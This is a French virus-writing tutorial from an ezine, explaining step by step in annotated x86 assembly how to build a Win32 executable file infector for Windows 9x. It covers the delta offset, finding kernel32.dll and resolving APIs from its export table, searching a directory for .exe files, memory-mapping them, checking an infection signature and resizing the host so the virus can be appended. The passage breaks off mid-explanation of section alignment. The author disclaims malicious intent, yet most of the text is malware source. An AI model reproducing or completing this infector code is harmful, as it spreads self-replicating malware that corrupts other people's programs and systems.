--------------------------------------------------------------------------------
               Infecteur d'exe 32 bits sous win 9x:                     rikenar
--------------------------------------------------------------------------------

Note: J'ai  effectu  la programmation de cette infecteur sous windows 98, il y
fonctionne  donc  correctement.  En  revanche  Emper0r  l'a test sur win2k, et
apparemment l'infection faisait planter le programme, sur win nt et xp, ca doit
etre pareil. Et je n'ai pas pu essayer de trouver l'erreur du fait que je n'ai
que win98 :(. Donc dsol qu'il ne fonctionne pas de partout et si jamais qqun
trouvait ce qui pouvait faire planter l'infection, je vous remercie d'avance
si vous pouvez me mailer pour que j'effectue la modification.
Voil, c'est fini pour cette note. Et bonne lecture.



[Sommaire]:


  I/   Introduction


  II/  Programmation
          A/ Le delta offset
          B/ Recherche de kernel32.dll en mmoire
          C/ Scan des apis
          D/ Recherche des fichiers
          E/ Le mapping
          F/ Infection


  III/ Code source


  IV/  Conclusion






  I/ Introduction
  ________________


Salut  tous, me voici pour mon premier article pour ioc, je vais donc essayer
de faire un truc de pas trop mauvais.

Tout au long de cet article, je vais parler et essayer d'expliquer le plus
possible comment peut fonctionner un infecteur de fichier win32. Comme je l'ai
dj dit, tout ce qui sera vu ici ne sera pas quelquechose qui n'a jamais t
vu, ce tut s'adresse donc plus particulirement  tous ceux qui sont un peu
comme moi et qui dbute dans le monde des infecteurs en gnral et sous windows
plus particulirement.

Pour pouvoir comprendre tout ce qui va suivre, je vous conseille d'avoir
quelques bases en assembleur win32 et sur le fonctionnement des apis sous
windows, pour le reste je vais essay de dtailler le plus possible.
Aussi comme je l'ai dj dit dans mon premier article sur les infecteurs 16
bits, si vous lisez ce tut dans l'espoir de planter les ordis de qqun, vous
pouvez vite vous barrer et allez rejoindre tous ceux qui ne lisent pas ces
lignes dans l'unique but d'apprendre.
Fini de parler, on va passer  la programmation de notre bb :).




  II/ Programmation
  ________________


On peut dire que la programmation de virii win32 est compltement diffrente
de celle de virii 16 bits, malgr tout si vous avez bien compris ce dernier, je
pense que ce que nous allons faire ne vous posera pas de difficult.

Je vais en premier expliquer le principe gnral de la programmation d'un virus
sous windows.
Car ici, il n'y a plus d'interruptions pour nous aider, on va uniquement
utiliser les apis windows.

Le premire chose que nous allons faire est d'essayer de chopper l'adresse en
mmoire de toutes les apis qui vont nous intresser, ce qui rendra notre
infecteur un maximum portable d'une machine  une autre, on aurait pu importer
toutes les apis ncessaires mais alors ce serait poser un petit problme.
En effet, quant on importe les apis pour un programme, par exemple l'api
MessageBoxA, quant on fera un petit call MessageBoxA, voil ce qui se passera :
- l'api tant import, le programme va aller effectuer un call  l'adresse de
l'Import Table du programme o est stock l'adresse de notre api.
- Ensuite, le programme effectue un simple jmp Addr_MessageBoxA
Comme vous pouvez le voir, on a pas un call Addr_MessageBoxA directement.
Il est l le problme, si le programme que l'on veut infecter n'importe pas
l'api que l'on veut utiliser dans notre code, beh on va avoir droit  un jolie
plantage. La solution consiste donc  cherche l'adresse brute en mmoire de
toutes les apis, au moins, aprs, on aura plus de problme.

Ensuite ds que on aura toutes les adresses de nos apis, on aura plus qu'
modifier certains champs de l'header du fichier et pour terminer on crira le
code de notre virus  la fin du fichier  infecter.
Et voil, aprs tout a, on pourra dire que notre code aura bien raliser ce
que l'on voulait.
On va donc passer tout de suite  ce qui nous intresse, c'est  dire  la
recherche de la dll kernel32 et donc de nos apis.
Avant toute chose, je vais expliquer 2 termes qui vont tre utilis tout au long
 de l'article :



- Adresse virtuelle : C'est l'adresse par exemple d'une api mais en mmoire,
  par exemple, chez moi l'adresse virtuel de l'api GetProcAdress est bff76dac.

- Adresse virtuelle relative : L c'est diffrent, l'adresse virtuel relative
  est le dcalage de quelquechose par rapport  une autre chose. Cette faon
  de faire simplifie pas mal de chose et permet de ne pas se soucier de la
  localisation de notre fichier. Par avoir l'adresse virtuelle, il suffira
  d'ajouter l'adresse de base de notre fichier  l'adresse relative.

Par exemple, chez moi l'adresse de base de kernel32.dll est bff70000, et
l'adresse relative de l'api GetProcAdress est 06dac, on peut ainsi avoir
l'adresse virtuelle de l'api GetProcAdress en faisant simplement :

Adresse de base + Adresse virtuel relative = Adresse virtuel .
  bff7000  +  6dac  == bff76dac





          A/ Le delta offset
          __________________


Si vous avez dj vu la programmation de virus, cela va vous paraitre familier
et vous pouvez sautez cette partie.
Sinon pour les autres je vais expliqu ce que c'est.

Notre infecteur va se copier  la fin d'un fichier, tant donn que l'on
enregistre toutes nos donnes dans la section .code  une adresse prcise,
lorsque l'on va vouloir y avoir accs dans le fichier infect, toutes ce que on
a enregistrer le sera  une adresse dcal.

Il va donc falloir que l'on dtermine ce dcalage prcisemment pour que notre
code puisse fonctionner, si on ne le fait pas, tous va tre dcal et la
programme va planter.

Voici un petit shma qui devrait bien vous aider :



                                 FICHIER APRES INFECTION :

                                   +--------------------+
                                   |                    |
                                   |                    |
                                   |       Code         |
                                   |     d'origine      | -->>  Dcalage
                                   |                    |
                                   |                    |
                                   +--------------------+
                                   |                    |
                                   |      Code de       |
                                   |    l'infecteur     |
                                   +--------------------+

-------------------------------
call delta                         ; call delta -> push l'adresse de retour.

delta:
pop ebp                            ; on pop, on a donc ebp = adresse de delta.
sub ebp, offset delta              ; on soustrait  ebp l'adresse du call delta
                                   ; d'origine.
                                   ; ebp -> dcalage.
-------------------------------




Lorsque l'on excute le fichier d'origine, le dcalage est logiquement de 0.
On aura donc accs au call de cette faon :


call [ebp+fonction], au lieu de normalement call [fonction].





           B/ Recherche de kernel32.dll en mmoire
           _______________________________________


Alors pourquoi va-t-on chercher cet dll en mmoire et pas une autre? Beh tout
simplement parce que cette dll exporte une api qui va bien nous aider:
GetProcAdress, en effet aprs l'avoir trouv, on pourra chercher l'adresse de
n'importe quelles apis que on lui aura passer en argument.

Tout sera donc beaucoup plus simplifi. La premire tape va donc tre de
trouver l'adresse de kernel32.dll. Si vous codez un petit programme en
assembleur et que vous placez un ret sans qu'il y est eu de call pralablement,
vous constaterez que cela termine l'execution du programme, cela implique donc
qu'il y est avant un call. Et quel est donc ce call, c'est celui de l'api
CreateProcessA, et on a de la chance car cet api est export par kernel32.dll.

Aussi, il faut savoir que lorsque un call est excut, celui ci place sur la
pile la valeur de retour.

Donc en faisant un:

mov eax, [esp]

On va avoir dans eax une valeur qui sera voisine de celle du dbut de
kernel32.dll, on ne devra plus qu'ensuite chercher le dbut de cette dll.

On sait aussi que la structure de l'header d'une dll est trs voisine de celle
d'un exe, ce qui veut donc dire que le dbut de notre dll
en mmoire sera caractris par un 'MZ', on va donc incrmenter l'adresse
jusqu' tomber sur cette chaine de caractres, ce qui nous indiquera bien que
l'on se trouvera dans le dll que l'on recherche.
Je vais vite faire un petit rappel sur les and:




And |  0  |  1  |
-----------------
 0  |  0  |  0  |
-----------------
 1  |  0  |  1  |

Donc un and avec au moins l'une des 2 oprandes  0 donnera toujours 0.
Un and avec comme oprande 0ffff0000h mettra donc  0 les 4 derniers chiffres
(ceux qui sont  droites).

Or on sait que kernel32.dll est toujours align sur 64k, le fait de faire un
and 0ffff0000h nous permettra donc de rcuprer un multiple de 64kilo.



-------------------------------
mov eax, [esp]                 ; on rcupre une adresse voisine de kernel32.dll
call delta

delta:                          ; on calcule le delta offset
pop ebp
sub ebp, offset delta
and eax, 0ffff0000h             ; eax devient un multiple de 64k
inc eax                         ; eax = eax + 1

loop:
dec eax                         ; on dcremente
cmp word ptr [eax],'ZM'         ; on compare avec le dbut la dll
jnz loop                        ; si diffrent, on recommence la boucle
mov ecx, eax                    ; sinon, on mets dans ecx l'adresse de
                                ; kernel32.dll
-------------------------------



On a donc maintenant eax et ecx qui pointent sur le MZ header, maintenant il va
falloir trouver l'adresse en mmoire du PE header.

Je vais expliquer le minimum pour que vous compreniez, c'est pour a que je vous
conseille d'aller un peu chercher des infos, j'ai vu quelquechose de pasmal sur
le dernier rtc disponible sur madchat, sinon vous pouvez vous aider de la doc de
Christal sur le Pe header.

Pour nous, le MZ header ce n'est pas trs important, c'est pour cela que l'on va
Chercher l'adresse du PE header. Et comme on a bien de la chance,  l'offset du
MZ header + 3ch se trouve justement le dplacement relatif qu'il y a de ce
dernier jusqu' ce que l'on cherche, c'est  dire le PE header.


-------------------------------

mov ecx, [ecx + 3ch]          ; on mets dans ecx, le dplacement relatif
                              ; pour aller au Pe header.
add ecx, eax                  ; Puis on ajoute l'adresse de base de kernel32.
cmp word ptr [ecx], 'EP'      ; On vrifie qu'on est au bon endroit.
jnz loop                      ; sinon on recommence
mov [ebp+APe],ecx             ; Ape =  adresse du Pe header de kernel32.dll
mov [ebp+Akernel],eax         ; Akernel = adresse de kernel32.dll

-------------------------------

Voil, on a donc bien maintenant trouv l'adresse en mmoire de kernel32.dll et
de son PE header, dsormais on peut passer  la recherche de l'api GetProcAdress
et des autres.





           C/ Scan des apis:
           _________________


Le scan des apis consiste  aller chercher l'adresse en mmoire de toutes les
apis qui vont nous tre utile pour le fonctionnement de notre virus.

Dans l'header de kernel32.dll,  l'offset du Pe header + 78h se trouve l'adresse
de l'export table o sont stock des informations sur toutes les dll qui sont
exports.



-------------------------------

mov edx, ecx                  ; edx contient dsormais le Pe header
mov edx, [edx + 78h]          ; On choppe l'adresse relative de l'Export Table
add edx, eax                  ; et on ajoute l'adresse de kernel32.dll

-------------------------------




Maintenant, edx pointe donc sur l' Export Table, et justement cette Export Table
contient des informations intressantes qui sont:


- la table des adresses des fonctions exports qui contient les adresses
  relatives de ces fonctions.
- la table des adresses des noms des fonctions exports.
- la table des ordinals qui contient la position de l' adresse de la fonction
  que l'on recherche dans la table des adresses.



On va donc sauvegarder tout a pour pouvoir les utiliss ensuite.



-------------------------------

mov ebx, [edx + 1ch]
add ebx, eax
mov [ebp+Afonction], ebx              ; On sauve la table des adresses.
mov ebx, [edx + 20h]
add ebx, eax
mov [ebp+Namefunc], ebx               ; puis la table des noms
mov ebx, [edx + 24h]
add ebx, eax
mov [ebp+Aordinal], ebx               ; et la table des ordinals.

-------------------------------



Pour pouvoir chopper l'adresse de l'api GetProcAdress, il va falloir que l'on
parcoure la table des noms  la recherche de la chaine de caractre
"GetProcAdress".

En effet dans cette table est contenue le nom de toutes les apis exports par
la dll.
Et  partir du moment o l'on connait la position de cette chaine de caractre
dans la table des noms, on va pouvoir dterminer l'adresse de la fonction
exporte.



Voici un petit shma qui rsume ce qui se passe chez moi:


Position  Table des noms    Table des ordinals      Table des adresses     Index
          (Dword)                (Word)                    (Dword)

1         AddAtomA                 ..                       ...               1
2         AddAtomW                 ..                       ...               ..
3         AllocConsole             ..                       ...               ..
..        .....                    ..             +--- 00006dac <<-- 688 = 12a*4
..        .....                    ..             |         ...               ..
12A       GetProcAdress    ---->  1A2h    --------+         ...               ..
..        .....                    ..                       ...               ..




Voici l'algo our trouver l'ordinal qui correspond:
(Position * 2) + Adresse de la table des ordinals = Ordinals.


Pour mon exemple ca donne:

( 12Ah * 2 ) + bffc1b00 = bffc1d54.

On sait donc que  l'adresse bffc1d54 pointe dsormais l'ordinal que nous
cherchions, chez moi ca donne ordinal = 01A2h.

Un ordinal est un Word ( 2 bytes), ce qui explique que l'on doive multilplier
la Position par 2 et que l'ordinal trouv soit aussi un word.


Maintenant, il nous reste  trouver l'adresse par l'algo suivant:

(Ordinal * 4) + Adresse de la table des adresses  = Adresse relative de
GetProcAddress.


La table des adresses des fonctions exports nous donnera l'adresse sous forme
de Dword ( 4 bytes) donc il faut multiplier par 4.


Ce qui donne:
( 1a2h * 4 ) + bffc01d8 = bffc0860.
Donc  l'adresse bffc0860 pointe donc l'adresse relative de l' api
GetProcAdress, ce qui donne 00006dac, pour avoir l'adresse relle, il nous
suffit d'ajouter l'adresse de base de kernel32.dll, ce qui fait:
00006dac + bff70000 = bff76dac.

Voil, on a donc russi  avoir l'adresse de l'api GetProcAdress, vous verrez
ca va pas mal nous aider pour la suite.

-------------------------------

mov edx, eax                   ; on mets dans edx l'adresse de base de
                               ; kernel32.dll.
mov esi,[ebp+Namefunc]         ; esi pointe sur la table des noms.
xor ecx, ecx                   ; ecx = 0.

go:
lodsd                          ; charge le contenu de eax avec ce qui se trouve
                               ; en esi.
add eax,edx                    ; on ajoute l'adresse de base de la dll.
mov edi,eax                    ; edx <-> eax, edi pointe maintenant sur la
                               ; table des noms
push esi
lea esi,[ebp+NGetProcAdress]   ; esi pointe sur la chaine "GetProcAddress"

comp:
cmpsb                         ; on compare esi et edi et on les incrmente.
jne next                      ; si diffrent on recommence
cmp byte ptr [edi], 0         ; sinon teste si on est  la fin de la chaine.
je good                       ; c'est bon, on l'a.
jmp comp                      ; non on teste le prochain caractre.

next:
pop esi                       ; esi pointe sur la table des noms.
inc ecx                       ; ecx = ecx + 1.
jmp go                        ; on y retourne.


good:                         ; now ecx = la position de la chaine
                              ; "GetProcAdress" dans la table des noms.
shl ecx, 1                    ; ecx = ecx * 2.
add ecx, [ebp+Aordinal]       ; on ajoute l'adresse de la table des ordinals.
xor eax, eax                  ; eax = 0.
mov ax, word ptr [ecx]        ; on mets l'ordinal qui est point par ecx dans
                              ; ax (Word).
shl eax, 2                    ; eax = eax * 4.
add eax, [ebp+Afonction]      ; on ajoute l'adresse de la table des adresses
                              ; des fctions.
mov ebx, [eax]                ; edx = adresse virtuel de GetProcAdress.
add ebx, edx                  ; on ajoute l'adresse de kernel32.dll.
mov [ebp+AGetProcAdress], ebx ; ca y est, on a l'adresse rel de GetProcAdress.

-------------------------------




Bon maintenant, il ne nous reste plus qu' rechercher toutes les autres apis
qui vont nous servir  partir de GetProcAdress qui a pour syntaxe pour
fonctionner:



GetProcAdress(
   HMODULE hmodule, // handle to DLL module
   LPCSTR lpProcName // name of function
              );



En fait, hmodule va contenir l'adresse de la dll dans laquelle l' api est
export et lpProcName va contenir le nom de la fonction que l'on recherche.
En assembleur, ca donne a



lea esi, [ebp+Apis1]
push esi                      ; nom de la fonction recherch GetModuleHandleA.
push [ebp+Akernel]            ; adresse de kernel32.dll
call [ebp+AGetProcAdress]     ; call GetProcAdress

Apis1 db "GetModuleHandleA",0




Et on aura en retour de la fonction dans eax, l'adresse de l' api recherche.
Bon je vous donne direct le code et je le commente:


-------------------------------

lea edi, [ebp+AGetModuleHandle]           ; edi pointe sur l'endroit o l'on va stocker l'
lea esi, [ebp+NGetModuleHandle]           ; adresse de la 1ere api  chercher et esi pointe sur
                                          ; le nom de la 1ere api  chercher.
search:
push esi                                  ; on push le nom de l' api  chercher
push [ebp+Akernel]                        ; on push l'adresse de kernel32.dll
call [ebp+AGetProcAdress]
mov [edi], eax                            ; charge le contenu de eax dans ce qui est point par
add edi, 4                                ; edi, on sauve donc l'adresse de l'api que l'on
                                          ; cherche et on ajoute 4  edi pour pouvoir sauvegar-
                                          ; der la prochaine adresse   calcul.

next_api:
inc esi                                   ; on incrmente esi
cmp byte ptr [esi], 0                     ; on regarde si on est  la fin de la chaine.
jne next_api                              ; si non, on reteste
inc esi                                   ; si oui, on incrmente esi
cmp byte ptr [esi], 0cch                  ; on  regarde si on est arriv  la fin des fonctions
jne search                                ;  recherch. Si non on recommence.

NGetProcAdress db "GetProcAddress",0
NGetModuleHandle db "GetModuleHandleA",0
NExitProcess db "ExitProcess",0
NFindFirstFile db 'FindFirstFileA',0
NFindNextFile db 'FindNextFileA',0
NCreateFileA db      "CreateFileA",0
NCreateFileMappingA db "CreateFileMappingA",0
NMapViewOfFile db "MapViewOfFile",0
NunMapViewOfFile db "UnmapViewOfFile",0
NCloseHandle db "CloseHandle",0


db 0cch

AGetProcAdress dd 0
AGetModuleHandle dd 0
AExitProcess dd 0
AFindFirstFile dd 0
AFindNextFile dd 0
ACreateFileA dd 0
ACreateFileMappingA dd 0
AMapViewOfFile dd 0
AunMapViewOfFile dd 0
ACloseHandle dd 0

-------------------------------

Tous les noms des apis qu'il y a ci-dessus, c'est ce qui va nous servir pour pouvoir faire
fonctionner notre infecteur win32. J'expliquerai tous cela plus en dtail plus loin.
Il ne nous reste plus qu' chopper l'adresse de user32.dll pour pouvoir justement trouver celle
de l'api MessageBoxA, elle va nous servir un peu plus tard. Pour trouver l'adresse de n'importe
quelle dll, il faut utilis la fonction GetModuleHandleA qui a pour syntaxe:

GetModuleHandleA(
LPCTSTR lpModuleName   // address of module name to return handle for
                );

-------------------------------

lea eax, [ebp+Nuser]                 ; eax pointe sur le nom de la dll (User32.dll)
push eax                             ; on le push
call [ebp+AGetModuleHandle]
mov [ebp+Auser], eax                 ; en retour de l'api, eax = l'adresse de User32.dll

lea edi, [ebp+NMessageBox]
push edi                             ; on push le nom de l'api  chercher l'adresse
push [ebp+Auser]                     ; on push l'adresse de la dll qui exporte l'api, ici
call [ebp+AGetProcAdress]            ; User32.dll
mov [ebp+AMessageBox], eax           ; et en retour, on a dans eax l'adresse de MessageBoxA.


Nuser db "User32.dll"
Auser dd 0
NMessageBox db "MessageBoxA",0
AMessageBox dd 0

-------------------------------

Ouf !! Ca y est, on a termin avec le scan des apis, on va pouvoir enfin passer  la vritable
programmation de notre virus. Vous voyez donc que l'on a besoin de pas mal d'apis pour faire
fonctionner notre virus correctement. On va de suite enchainer directement avec la recherche
des fichiers  infecter.


D/ Recherche des fichiers:

Ici, les apis que l'on va utiliser sont FindFirstFileA et FindNextFileA, la premire va lire la
premire entre du rpertoire et la deuxime va lire les suivantes, ces 2 apis sont l'quiva-
lent des fonctions 4eh et 4fh sous dos. Et voici comment fonctionne ces 2 fonctions:


FindFirstFileA(
LPCTSTR lpFileName, // pointer to name of file to search for
LPWIN32_FIND_DATA lpFindFileData // pointer to returned information
);

Pour nous, lpFileName va pointer sur une chaine de caractre qui va nous permettre de cibler
notre recherche de fichier dans le repertoire. Pour nous ce sera: *.exe. Je vais expliquer le
2eme argument un peu plus en dessous.

FindNextFileA(
HANDLE hFindFile, // handle to search
LPWIN32_FIND_DATA lpFindFileData // pointer to structure for data on found file
);

hFindFile est l'handle que la fonction FindFirstFileA nous a donn en retour de son excution
et le 2eme argument est un pointeur sur une structure qui va tre remplie en retour et qui va
contenir toutes les informations qui vont nous intresser dont le nom de notre fichier 
infecter.


WFD label   byte
WFD_dwFileAttributes    dd      ?             ; attribut du fichier trouv.
WFD_ftCreationTime      dd      ?             ; date de cration du fichier.
                        dd      ?
WFD_ftLastAccessTime    dd      ?             ; date de dernier accs au fichier.
                        dd      ?
WFD_ftLastWriteTime     dd      ?             ; date de la dernire criture sur le fichier.
                        dd      ?
WFD_nFileSizeHigh       dd      ?             ; donne la partie haute de la taille du fichier.
WFD_nFileSizeLow        dd      ?             ; et la partie basse (en bytes)-> Intressant
WFD_dwReserved0         dd      ?
WFD_dwReserved1         dd      ?
WFD_szFileName          db      260 dup (?)   ; nom du fichier  infecter -> Intressant aussi.
WFD_szAlternateFileName db      13 dup (?)    ; nom dos du fichier.
                        db      03 dup (?)    ; bourrage pour remplir la structure.




-------------------------------

lea esi,[ebp+WFD]                     ; on charge notre structure qui recevra les informations.
lea eax,[ebp+exe_mask]                ; notre mask -> *.exe.
push esi                              ; on push les arguments.
push eax

call [ebp+AFindFirstFile]             ; on cherche la 1ere entre du rpertoire.
cmp  eax, 0ffffffffh                  ; on vrifie si il n'y a pas d'erreur, si eax = -1, une
je   exit                             ; erreur s'est produite donc on se casse.
mov  [ebp+FirstHandle],eax            ; sinon on sauve le handle renvoy.

re:

......                                ; omis pour l'instant.
......
call mapping                          ; on mappe le fichier.
call infection                        ; on l'infecte -> on verra ces 2 trucs plus tard.

second:
lea  edi,[ebp+WFD]                    ; toujours pour la structure.
push edi
push [ebp+FirstHandle]                ; on push le 1er handle renvoy.
call [ebp+AFindNextFile]              ; on cherche un autre fichier.
test  eax, eax                        ; on test si eax = 0, ce qui voudrait dire que tous les
jnz  re                               ; fichiers du rperoire ont t trouv, si ce n'est pas
                                      ; le cas, alors on mappe et on infecte.
exe_mask  db  "*.exe",0

-------------------------------

Youpi, maintenant on sait quel fichier infecter, comme vous pouvez le voir, pour l'instant ce
n'est pas extremement compliqu. Maintenant on va pouvoir passer au mapping.



E/ Le mapping

Voil, on est parti pour le mapping, je peux vous dire que a va bien nous servir et ca va bien
nous simplifier la vie en ce qui concerne l'criture du virus et la modification des diffrents
champs du Pe header. Beh en fait le mapping consiste  mapper un fichier (ca vous devez l'avoir
compris), ce qui va nous permettre de le modifier et ce directement en mmoire et ds que l'on
dmappera le fichier, tous les modifications que l'on aura effectu en mmoire l'auront t
aussi sur le disque, voil donc  quoi ca sert. Tout cela va pouvoir se faire grce au apis :
- CreateFileA qui va nous permettre de rcuprer l'handle du fichier  mapper.
- CreateFileMappingA qui va nous prparer le mapping de notre fichier  mapper et qui va nous
renvoyer un handle ncessaire pour l'api ci dessous.
- MapViewOfFile qui va cre la copie en mmoire de notre fichier et qui va nous renvoy en
retour l'adresse mmoire de l'image cre.
- unMapViewOfFile qui dmappe le fichier prcdemment copi en mmoire.
- CloseHandle qui va fermer le fichier que l'on voulait modifier.
Il y a donc 5 apis intressant pour nous, voici donc vite fait la description de ces 5 apis.

HANDLE CreateFile(
LPCTSTR lpFileName, // pointer to name of the file
DWORD dwDesiredAccess, // access (read-write) mode
DWORD dwShareMode, // share mode
LPSECURITY_ATTRIBUTES lpSecurityAttributes, // pointer to security attributes
DWORD dwCreationDisposition, // how to create
DWORD dwFlagsAndAttributes, // file attributes
HANDLE hTemplateFile // handle to file with attributes to copy
);

Il n'y a que 4 arguments qui vont nous tre utile avec cette fonction:
- dwCreationDisposition -> qui doit spcifier si le fichier existe ou pas, si il faut le crer
etc... En C, on remplirai ce champs par OPEN_EXISTING qui voudrait dire que l'on veut ouvrir un
fichier qui existe dj, ce qui est notre cas. Si l'on regarde un peu dans dans les fichiers
qu'inclut visual c++ pour moi, faut voir dans winbase.h, on a cette ligne :
#define OPEN_EXISTING       3
On en conclut donc que pour ce champs, le code se traduira par un push 3.
- dwShareMode -> ce champs va permettre d'indiquer le partage du fichier, pour nous ce sera
un push 1.
- dwDesiredAccess -> spcifie le type d'accs, c'est  dire en criture, en lecture ou les 2.
Pour nous, ce sera les 2 ce qui fait que l'on utilisera un push 80000000h or 40000000h.
- lpFileName ->ici rien de bien compliqu, ce champs contiendra le nom du fichier  ouvrir.

Et en retour de cet api, c'est  dire en eax, on aura l'handle de notre fichier qui va nous
servir par la suite.

HANDLE CreateFileMapping(
HANDLE hFile, // handle to file to map
LPSECURITY_ATTRIBUTES lpFileMappingAttributes, // optional security attributes
DWORD flProtect, // protection for mapping object
DWORD dwMaximumSizeHigh, // high-order 32 bits of object size
DWORD dwMaximumSizeLow, // low-order 32 bits of object size
LPCTSTR lpName // name of file-mapping object
);

Pour cette api, il y a 3 champs  remplir qui sont  dtaills:
- dwMaximumSizeLow -> spcifie la taille maximum du fichier  mapper, ce champs sera renseign
par la structure que l'on aura rempli avec la fonction FindFirstFileA.
- flProtect -> spcifie le mode d'accs  la zone de mmoire qu'y vient d'tre crer, pour nous
ce sera lecture et criture, ce qui donne en asm: push 4.
- hFile -> handle qui nous a t retourn par l'api CreateFile.

Et comme toujours, on va recevoir en eax, un handle qui va tre ncessaire pour la fonction qui
va suivre.


LPVOID MapViewOfFile(
HANDLE hFileMappingObject, // file-mapping object to map into address space
DWORD dwDesiredAccess, // access mode
DWORD dwFileOffsetHigh, // high-order 32 bits of file offset
DWORD dwFileOffsetLow, // low-order 32 bits of file offset
DWORD dwNumberOfBytesToMap // number of bytes to map
);

Je dtaille toujours les champs qui nous sont utiles:
- dwNumberOfBytesToMap -> toujours le nombre de bytes  mapper, ce sera la taille de notre
fichier.
- dwDesiredAccess -> spcifie le type d'accs du fichier que l'on mappe, pour nous ce sera
encore en criture et en lecture ce qui va donner un push 2.
- hFileMappingObject -> handle renvoy par l'api CreateFileMapping.

Et maintenant c'est fini, du moins pour le mapping, en retour de cet api, on va avoir en eax
l'adresse mmoire o sera l'image qui vient d'tre cre.
Pour finir les 2 autres apis:


BOOL UnmapViewOfFile(
LPCVOID lpBaseAddress // address where mapped view begins
 );
- lpBaseAddress -> adresse qui a t renvoy en eax par MapViewOfFile.


BOOL CloseHandle(
HANDLE hObject // handle to object to close
);

- hObject -> handle de l'objet  fermer.

Ouf, on a fini, on va pouvoir passer au code comment, vous remarquerez que je ne laisse que
les lignes de code qui sont en rapport avec le mapping.


-------------------------------

re:

push 00h
push 00h
push 03h                             ; ouverture d'un fichier dj existant.
push 00h
push 01h
push 80000000h or 40000000h          ; ouverture en lecture et en criture.
lea esi,[ebp+WFD_szFileName]         ; nom du fichier  ouvrir
push esi
call [ebp+ACreateFileA]
mov [ebp+Fhandle], eax               ; au sauve l'handle qui nous est renvoy.
mov esi,[ebp+WFD_nFileSizeLow]       ; en mets dans esi, la taille du fichier  mapper.

call mapping                         ; on mappe.
call infection

....
....

mapping:

push 00h
push esi                             ; taille ncessaire pour le mapping.
push 00h
push 04h                             ; mode d'accs en lecture et en criture.
push 00h
push [ebp+Fhandle]                   ; on push l'handle renvoy par CreateFileA.
call [ebp+ACreateFileMappingA]
mov  [ebp+Mhandle], eax              ; on sauve encore.

push esi                             ; encore la taille  mapper.
push 00h
push 00h
push 02h                             ; permet la lecture et l'criture de l'image qui va tre
push [ebp+Mhandle]                   ; cre. On push le handle renvoy par CreateFileMappingA.
call [ebp+AMapViewOfFile]
mov [ebp+AddrMap], eax               ; et on sauve l'adresse mmoire de l'image.
ret

-------------------------------


Ca y est, on en a fini pour ce qui est du mapping et on a enfin l'adresse de l'image qui vient
d'tre cre, on a donc dsormais tout pour pouvoir commenc l'infection. Je vous le dit, on
est presque  la fin maintenant, il ne nous reste plus qu' modifier des champs de l'header
et  crire notre code  la fin du fichier.



F/ Infection :


Avant d'aborder l'infection en elle mme, nous allons vrifier que l'on se trouve bien dans un
fichier exe win32 qui possde bien un Pe header, on va aussi vrifier que l'on ne va pas
s'crire dans un fichier qui serait dj infect par notre virus. Mais avant toute chose, je
vais prciser un peu quelquechose sur la taille que nous avons donn lorsque l'on voulait
mapper le fichier, en effet nous avons push en argument de la fonction MapViewOfFile, la
taille du fichier qui nous avait t renvoy par l'api FindFirstFile, or nous nous voulons
crire notre code  la fin de ce fichier ce qui implique que la taille  mapper du fichier
soit suprieure. Pour viter d'augmenter inutilement la taille d'un fichier qui aura dj t
infecter, nous allons devoir effectuer 2 fois le mapping :
- la 1ere fois, nous allons crer l'image avec la vrai taille du fichier qui nous a t renvoy
, puis nous allons regarder par l'intermdiaire de la signature que l'on aura crite si le
fichier est dj infect. Si c'est le cas, on quitte et on dmappe.
- Si ce n'est pas le cas, et que le fichier est sain, on dmappe puis on remappe en prenant le
soin d'ajouter la taille de notre infecteur, ce qui nous permettra de crer l'image en mmoire
de notre fichier avec une taille suprieur et de pouvoir placer notre code  la fin sans aucun
problme.



-------------------------------

infection:
mov esi,[eax+3Ch]                   ; esi = dplacement relatif vers le Pe header.
add esi,eax                         ; on ajoute l'adresse de base renvoy par MapViewOfFile.
cmp dword ptr [esi],'EP'            ; on regarde si on est bien au Pe header
jnz demap                           ; sinon on dmap et on se casse.
cmp dword ptr [esi+4Ch],"EKIR"      ; on regade si le fichier est dj infect.
jz  demap                           ; si oui, on dmappe.


mov ecx, [esi+38h]                  ; 38h = 18h + 20h.
mov [ebp+Alignvirtual], ecx         ; on sauve l'alignement de la section.
mov ecx, [esi+3ch]                  ; 3ch = 18h + 24h.
mov [ebp+Alignraw], ecx             ; on sauve l'alignement du fichier.


push [ebp+AddrMap]
call [ebp+AunMapViewOfFile]         ; on dmappe.
push [ebp+Mhandle]
call [ebp+ACloseHandle]             ; on ferme le fichier.
mov ecx,[ebp+Alignraw]              ; on mets dans ecx l'alignement du fichier.
call align                          ; on aligne la nouvelle taille  mapper.
xchg eax, esi                       ; esi est donc dsormais la nouvelle taille.
call mapping                        ; et on remappe en ajoutant la taille de notre virus.


....
....
....


align:
mov eax,[ebp+WFD_nFileSizeLow]      ; eax = taille de notre fichier avant infection.
add eax, offset fin - offset start  ; on ajoute la taille de notre virus.
xor edx, edx                        ; edx = 0.
div ecx                             ; on divise par l'alignement.
inc eax                             ; on incrmente eax.
mul ecx                             ; on multiplie eax par ecx.
ret

demap:
push [ebp+AddrMap]
call [ebp+AunMapViewOfFile]
push [ebp+Mhandle]
call [ebp+ACloseHandle]
push [ebp+Fhandle]
call [ebp+ACloseHandle]
jmp  second

-------------------------------


Normalement, vous avez du vous demander ce que c'est exactement cette alignement, bon je vais
expliquer tout a. Je vous conseille donc d'avoir  ct de vous un bonne documentation sur
le Pe header, celle qui se trouve dans le rtc mag de Doxtor L. fera trs bien l'affaire, sinon
il existe celle de Christal. Mais bon, je vais quand mme essayer de reprendre ce qu'il y a de
plus important pour pouvoir comprendre.
Nous ce qui nous intresse dans ce cas prcis, c'est le Pe header et l'entte optionnel, beh
surtout cette dernire car elle contient beaucoup d'informations qui nous sont ncessaires.
L'entte optionnel contient  l'offset 20h et 24h l'alignement de la section et l'alignement du
fichier. L'alignement du fichier nous fait savoir que la taille de notre fichier sur le disque
doit tre un multiple de ce nombre, par exemple si on a comme alignement du fichier 200h, alors
le taille de notre fichier sur le disque sera un multiple de ce nombre, ca pourrait donc tre
200h, 400h, 1200h ou 2600h etc... Et c'est l que on doit faire attention car le fichier mapper
lorque il sera dmapper fera la taille que l'on aura donner en dernier argument de l'api
MapViewOfFile, il faut donc que ce nombre soit un multiple de ce qui se trouve  l'offset 24h
de l'entete optionnel. Le call align va donc nous permettre de raliser cela, voici encore un
exemple pour vous expliquer comment il fonctionne, on admet que notre fichier avant infection
 une taille 12000h et que le virus fait 143h :


mov ecx,[ebp+Alignraw]                 ; on mets dans ecx l'alignement, pour nous 200h
mov eax,[ebp+WFD_nFileSizeLow]         ; eax = 12000 donc eax est un multiple de 200h

align:

